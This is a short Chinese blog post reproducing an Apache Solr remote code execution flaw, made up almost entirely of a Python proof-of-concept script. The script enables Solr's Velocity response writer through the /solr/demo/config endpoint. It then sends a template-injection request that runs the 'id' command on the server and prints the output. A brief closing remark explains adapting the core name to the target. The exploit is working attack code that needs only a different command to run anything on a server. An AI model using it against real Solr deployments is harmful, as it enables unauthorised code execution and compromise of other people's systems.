最近Solr又出了一个RCE漏洞,复现了一下
# coding: utf-8
import requests
import argparse
from urllib import parse
if __name__ == "__main__":
parser = argparse.ArgumentParser()
parser.add_argument(‘--url‘, type=str, help=‘display an url‘)
args = parser.parse_args()
if args.url:
urlparse = parse.urlparse(args.url)
url = urlparse.scheme + ‘://‘ + urlparse.netloc + ‘/‘
headers = {
‘User-Agent‘: ‘Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1‘,
"Content-Type": "application/json"
}
datas = {
"update-queryresponsewriter": {
"startup": "lazy",
"name": "velocity",
"class": "solr.VelocityResponseWriter",
"template.base.dir": "",
"solr.resource.loader.enabled": "true",
"params.resource.loader.enabled": "true"
}
}
post_url = parse.urljoin(url, "/solr/demo/config")
resp = requests.post(post_url, headers=headers, data=datas, verify=False)
get_url = parse.urljoin(url, "/solr/demo/select?q=1&&wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%27id%27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end")
response = requests.get(get_url, verify=False)
if r"uid" in response.text:
print("存在Solr 远程代码执行漏洞！")
print("\n" + response.text)
else:
print("不存在漏洞")
else:
print("缺失参数 --url")
用的python3写的，效果如下：
值得注意的是这里poc中的“/solr/demo/config” 使用的是demo，然后并不是所有环境中都有名为demo的节点的，实际场景中需要去solr控制台中的 Core Admin查看
原文地址：https://www.cnblogs.com/jinqi520/p/11785618.html